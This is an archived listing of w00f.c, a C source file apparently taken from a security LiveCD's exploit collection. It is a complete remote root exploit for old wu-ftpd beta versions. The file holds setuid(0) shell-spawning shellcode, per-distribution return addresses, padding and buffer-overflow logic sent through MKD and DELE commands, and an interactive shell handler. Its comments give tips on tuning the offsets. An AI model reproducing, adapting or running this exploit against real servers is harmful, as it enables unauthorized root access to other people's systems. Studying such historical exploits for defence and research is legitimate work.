home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / wuftpd / w00f.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  12KB  |  388 lines

  1. /*
  2.  * Remote/local exploit for wu-ftpd [12] through [18]
  3.  * gcc w00f.c -o w00f -Wall -O2
  4.  *
  5.  * Offsets/padding may need to be changed, depending on remote daemon
  6.  * compilation options. Try offsets -5000 to 5000 in increments of 100.
  7.  *
  8.  * Note: you need to use -t >0 for -any- version lower than 18.
  9.  * Coded by smiler and cossack
  10.  */
  11. #include <stdio.h>
  12. #include <stdlib.h>
  13. #include <string.h>
  14. #include <stdarg.h>
  15. #include <unistd.h>
  16. #include <errno.h>
  17. #include <sys/socket.h>
  18. #include <sys/time.h>
  19. #include <netinet/in.h>
  20. #include <netdb.h>
  21. #include <arpa/inet.h>
  22.  
  23.  
  24. /* In a beta[12-17] shellcode_A overflow, we will not see responses
  25. to our commands. Add option -c (use chroot code) to fix this. */
  26. unsigned char hellcode_a[]=
  27.         "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /* setuid(0) */
  28.         "\xeb\x2c\x5b\x89\xd9\x80\xc1\x06\x39\xd9\x7c\x07\x80\x01\x20"
  29.         "\xfe\xc9\xeb\xf5\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c"
  30.         "\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x31\xc0\xfe\xc0\xcd"
  31.         "\x80\xe8\xcf\xff\xff\xff\xff\xff\xff"
  32.         "\x0f\x42\x49\x4e\x0f\x53\x48";
  33.  
  34. unsigned char hellcode_b[]=
  35.         "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /* setuid(0) */
  36.         "\xeb\x66\x5e\x89\xf3\x80\xc3\x0f\x39\xf3\x7c\x07\x80"
  37.         "\x2b\x02\xfe\xcb\xeb\xf5\x31\xc0\x88\x46\x01\x88\x46"
  38.         "\x08\x88\x46\x10\x8d\x5e\x07\xb0\x0c\xcd\x80\x8d\x1e"
  39.         "\x31\xc9\xb0\x27\xcd\x80\x31\xc0\xb0\x3d\xcd\x80\x31"
  40.         "\xc0\x8d\x5e\x02\xb0\x0c\xcd\x80\x31\xc0\x88\x46\x03"
  41.         "\x8d\x5e\x02\xb0\x3d\xcd\x80\x89\xf3\x80\xc3\x09\x89"
  42.         "\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d"
  43.         "\x4b\x08\x8d\x53\x0c\xcd\x80\x31\xc0\xfe\xc0\xcd\x80"
  44.         "\xe8\x95\xff\xff\xff\xff\xff\xff\x43\x43\x30\x30\x31"
  45.         "\x30\x30\x31\x43\x31\x64\x6b\x70\x31\x75\x6a";
  46.  
  47.  
  48. char *Fgets(char *s,int size,FILE *stream);
  49. int ftp_command(char *buf,int success,FILE *out,char *fmt,...);
  50. int double_up(unsigned long blah,char *doh);
  51. int resolv(char *hostname,struct in_addr *addr);
  52. void fatal(char *string);
  53. int usage(char *program);
  54. int tcp_connect(struct in_addr host,unsigned short port);
  55. int parse_pwd(char *in,int *pwdlen);
  56. void RunShell(int thesock);
  57.  
  58.  
  59.  
  60. struct type {
  61.         unsigned long ret_address;
  62.         unsigned char align; /* Use this only to offset \xff's used */
  63.         signed short pad_shift; /* how little/much padding */
  64.         unsigned char overflow_type; /* whether you have to DELE */
  65.         char *name;
  66. };
  67.  
  68. /* ret_pos is the same for all types of overflows, you only have to change
  69.    the padding. This makes it neater, and gives the shellcode plenty of
  70.    room for nops etc
  71.  */
  72. #define RET_POS 190 
  73. #define FTPROOT "/home/ftp"
  74.  
  75.  
  76. /* the redhat 5.0 exploit doesn't work at the moment...it must be some
  77.    trite error i am overlooking. (the shellcode exits w/ code 0375) */
  78. struct type types[]={
  79.         { 0xbffff340, 3, 60, 0,  "BETA-18 (redhat 5.2)", },   
  80.         { 0xbfffe30e, 3,-28, 1,  "BETA-16 (redhat 5.1)", },   
  81.         { 0xb2ffe356, 3,-28, 1,  "BETA-15 (redhat 5.0)", },   
  82.         { 0xbfffebc5, 3,  0, 1,  "BETA-15 (slackware 3.3)", },
  83.         { 0xbffff3b3, 3,  0, 1,  "BETA-15 (slackware 3.4)", },
  84.         { 0xbffff395, 3,  0, 1,  "BETA-15 (slackware 3.6)", },
  85.         { 0,0,0,0,NULL }
  86.                     };
  87.  
  88. struct options {
  89.         char start_dir[20];
  90.         unsigned char *shellcode;
  91.         unsigned char chroot;
  92.         char username[10];
  93.         char password[10];
  94.         int offset;
  95.         int t;
  96. } opts;
  97.  
  98. /* Bit of a big messy function, but hey, its only an exploit */
  99.  
  100. int main(int argc,char **argv)
  101. {
  102.         char *argv0,ltr;
  103.         char outbuf[1024], inbuf[1024], ret_string[5];
  104.         int pwdlen,ctr,d;
  105.         FILE *cin;
  106.         int fd;
  107.         struct in_addr victim;
  108.  
  109.         argv0 = strdup(argv[0]);
  110.         *opts.username = *opts.password = *opts.start_dir = 0;
  111.         opts.chroot = opts.offset = opts.t = 0;
  112.         opts.shellcode = hellcode_a;
  113.  
  114.         while ((d = getopt(argc,argv,"cs:o:t:"))!= -1){
  115.                 switch (d) {
  116.                 case 'c':
  117.                         opts.shellcode = hellcode_b;
  118.                         opts.chroot = 1;
  119.                         break;
  120.                 case 's':
  121.                         strcpy(opts.start_dir,optarg);
  122.                         break;
  123.                 case 'o':
  124.                         opts.offset = atoi(optarg);
  125.                         break;
  126.                 case 't':
  127.                         opts.t = atoi(optarg);
  128.                         if ((opts.t < 0)||(opts.t>5)) {
  129.                                 printf("Dont have that type!\n");
  130.                                 exit(-1);
  131.                         }
  132.                 }
  133.         }
  134.         
  135.         argc -= optind;
  136.         argv += optind;
  137.  
  138.         if (argc < 3)
  139.                 usage(argv0);
  140.  
  141.         if (!resolv(argv[0],&victim)) {
  142.                 perror("resolving");
  143.                 exit(-1);
  144.         }
  145.         strcpy(opts.username,argv[1]);
  146.         strcpy(opts.password,argv[2]);
  147.         
  148.         if ((fd = tcp_connect(victim,21)) < 0) {
  149.                 perror("connect");
  150.                 exit(-1);
  151.         }
  152.         
  153.         if (!(cin = fdopen(fd,"r"))) {
  154.                 printf("Couldn't get stream\n");
  155.                 exit(-1);
  156.         }
  157.  
  158.         Fgets(inbuf,sizeof(inbuf),cin);
  159.         printf("%s",inbuf);
  160.                         
  161.         if (ftp_command(inbuf,331,cin,"USER %s\n",opts.username)<0)
  162.                 fatal("Bad username\n");
  163.         if (ftp_command(inbuf,230,cin,"PASS %s\n",opts.password)<0)
  164.                 fatal("Bad password\n");
  165.                         
  166.         if (*opts.start_dir)  
  167.                 if (ftp_command(inbuf,250,cin,"CWD %s\n",opts.start_dir)<0)
  168.                         fatal("Couldn't change dir\n");
  169.  
  170.         if (ftp_command(inbuf,257,cin,"PWD\n")<0)
  171.                 fatal("PWD\n");
  172.  
  173.         if (parse_pwd(inbuf,&pwdlen) < 0)
  174.                 fatal("PWD\n");
  175.         
  176.         srand(time(NULL));
  177.         printf("Making padding directorys\n");
  178.         for (ctr = 0;ctr < 4;ctr++) {
  179.                 ltr = rand()%26 + 65;
  180.                 memset(outbuf,ltr,194);
  181.                 outbuf[194]=0;
  182.                 if (ftp_command(inbuf,257,cin,"MKD %s\n",outbuf)<0)
  183.                         fatal("MKD\n");
  184.                 if (ftp_command(inbuf,250,cin,"CWD %s\n",outbuf)<0)
  185.                         fatal("CWD\n");
  186.         }
  187.  
  188.         /* Make padding directory */
  189.         
  190.         ctr = 124 - (pwdlen - types[opts.t].align);//180
  191.         //ctr = 152 - (pwdlen - types[opts.t].align);
  192.         ctr -= types[opts.t].pad_shift;
  193.         if (ctr < 0) {
  194.                 exit(-1);
  195.         }
  196.         memset(outbuf,'A',ctr+1);
  197.         outbuf[ctr] = 0;
  198.         if (ftp_command(inbuf,257,cin,"MKD %s\n",outbuf)<0)
  199.                 fatal("MKD\n");
  200.         if (ftp_command(inbuf,250,cin,"CWD %s\n",outbuf)<0)
  201.                 fatal("CWD\n");
  202.  
  203.         memset(outbuf,0x90,195);
  204.         d=0;
  205.         for (ctr = RET_POS-strlen(opts.shellcode);ctr<(RET_POS);ctr++)
  206.                 outbuf[ctr] = opts.shellcode[d++];
  207.         double_up(types[opts.t].ret_address-opts.offset,ret_string);
  208.         strcpy(outbuf+RET_POS,ret_string);
  209.         strcpy(outbuf+RET_POS+strlen(ret_string),ret_string);
  210.  
  211.         printf("Press any key to send shellcode...\n");
  212.         getchar();
  213.         if (ftp_command(inbuf,257,cin,"MKD %s\n",outbuf)<0)
  214.                 fatal("MKD\n");
  215.         if (types[opts.t].overflow_type == 1)
  216.                 if (ftp_command(inbuf,250,cin,"DELE %s\n",outbuf)<0)
  217.                         fatal("DELE\n");
  218.         /* HEH. For type 1 style we add a dele command. This overflow
  219.         occurs in delete() in ftpd.c. The cause is realpath() in realpath.c
  220.         not checking bounds correctly, overwriting path[] in delete(). */
  221.                 
  222.         RunShell(fd);
  223.         return(1);
  224. }
  225.                 
  226. void RunShell(int thesock)
  227. {
  228.         int n;
  229.         char recvbuf[1024];
  230.         fd_set rset;
  231.  
  232.         while (1)
  233.         {
  234.                 FD_ZERO(&rset);
  235.                 FD_SET(thesock,&rset);
  236.                 FD_SET(STDIN_FILENO,&rset);
  237.                 select(thesock+1,&rset,NULL,NULL,NULL);
  238.                 if (FD_ISSET(thesock,&rset))
  239.                 {
  240.                         n=read(thesock,recvbuf,1024);
  241.                         if (n <= 0)
  242.                         {
  243.                                 printf("Connection closed\n");
  244.                                 exit(0);
  245.                         }
  246.                         recvbuf[n]=0;
  247.                         printf("%s",recvbuf);
  248.                 }
  249.                 if (FD_ISSET(STDIN_FILENO,&rset))
  250.                 {
  251.                         n=read(STDIN_FILENO,recvbuf,1024);
  252.                         if (n>0)
  253.                         {
  254.                                 recvbuf[n]=0;
  255.                                 write(thesock,recvbuf,n);
  256.                         }
  257.                 }
  258.         }
  259.         return;
  260. }
  261.  
  262.                 
  263. int double_up(unsigned long blah, char *doh)
  264. {
  265.         int a;
  266.         unsigned char *ptr,*ptr2;
  267.         bzero(doh,6);
  268.         ptr=doh;
  269.         ptr2=(char *)&blah;
  270.         for (a=0;a<4;a++) {
  271.                 *ptr++=*ptr2;
  272.                 if (*ptr2==0xff) *ptr++=0xff;
  273.                 ptr2++;
  274.         }
  275.         return(1);
  276. }
  277.                 
  278.                 
  279. int parse_pwd(char *in, int *pwdlen)
  280. {
  281.         char *ptr1,*ptr2;
  282.                         
  283.         /* 257 "/" is current directory */
  284.         ptr1 = strchr(in,'\"');
  285.         if (!ptr1) return(-1);
  286.         ptr2 = strchr(ptr1+1,'\"');
  287.         if (!ptr2) return(-1);
  288.         *ptr2 = 0;
  289.         *pwdlen = strlen(ptr1+1);
  290.         /* If its just "/" then it contributes nothing to the RET_POS */
  291.         if (*pwdlen==1) *pwdlen -= 1;
  292.         printf("Home Dir = %s, Len = %d\n",ptr1+1,*pwdlen);
  293.         return(1);
  294. }
  295.                                 
  296. int tcp_connect(struct in_addr host,unsigned short port) 
  297. {
  298.         struct sockaddr_in serv;
  299.         int fd;
  300.         
  301.         fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  302.         bzero(&serv,sizeof(serv));
  303.         memcpy(&serv.sin_addr,&host,sizeof(struct in_addr));
  304.         serv.sin_port = htons(port);
  305.         serv.sin_family = AF_INET;
  306.         if (connect(fd,(struct sockaddr *)&serv,sizeof(serv)) < 0) {
  307.                 return(-1);
  308.         }
  309.         return(fd);
  310. }
  311.         
  312.                 
  313. int ftp_command(char *buf,int success,FILE *out,char *fmt,...)
  314. {
  315.         va_list va;
  316.         char line[1200];
  317.         int val;
  318.                 
  319.         va_start(va,fmt);
  320.         vsprintf(line,fmt,va);
  321.         va_end(va);
  322.         
  323.         if (write(fileno(out),line,strlen(line)) < 0)
  324.                 return(-1);
  325.  
  326.         bzero(buf,200);
  327.         while(1) {
  328.                 Fgets(line,sizeof(line),out);
  329. #ifdef DEBUG
  330.                 printf("%s",line);
  331. #endif
  332.                 if (*(line+3)!='-') break;
  333.         }
  334.         strncpy(buf,line,200);
  335.         val = atoi(line);
  336.         if (success != val) return(-1);
  337.         return(1);
  338. }
  339.         
  340. void fatal(char *string)
  341. {       
  342.         printf("%s",string);
  343.         exit(-1);
  344. }
  345.         
  346. char *Fgets(char *s,int size,FILE *stream)
  347. {
  348.         char *ptr;
  349.  
  350.         ptr = fgets(s,size,stream);
  351.         //if (!ptr)
  352.                 //fatal("Disconnected\n");
  353.         return(ptr);
  354. }
  355.  
  356. int resolv(char *hostname,struct in_addr *addr)
  357. {
  358.         struct hostent *res;
  359.                 
  360.         if (inet_aton(hostname,addr))
  361.                 return(1);
  362.         
  363.         res = gethostbyname(hostname);
  364.         if (res == NULL)
  365.                 return(0);
  366.  
  367.         memcpy((char *)addr,(char *)res->h_addr,sizeof(struct in_addr));
  368.         return(1);
  369. }
  370.  
  371. int usage(char *program)
  372. {
  373.         fprintf(stderr,"Usage: %s <host> <username> <password> [-c] [-s start_dir]\n",program);
  374.         fprintf(stderr,"\t[-o offset] [-t type]\n");
  375.         fprintf(stderr,"types:\n");
  376.         fprintf(stderr,"0 - %s\n", types[0].name);
  377.         fprintf(stderr,"1 - %s\n", types[1].name);
  378.         fprintf(stderr,"2 - %s\n", types[2].name);
  379.         fprintf(stderr,"3 - %s\n", types[3].name);
  380.         fprintf(stderr,"4 - %s\n", types[4].name);
  381.         fprintf(stderr,"5 - %s\n", types[5].name);
  382.         fprintf(stderr,"\n");
  383.         exit(0);
  384. }
  385.         
  386. /* -EOF- */
  387.  
  388.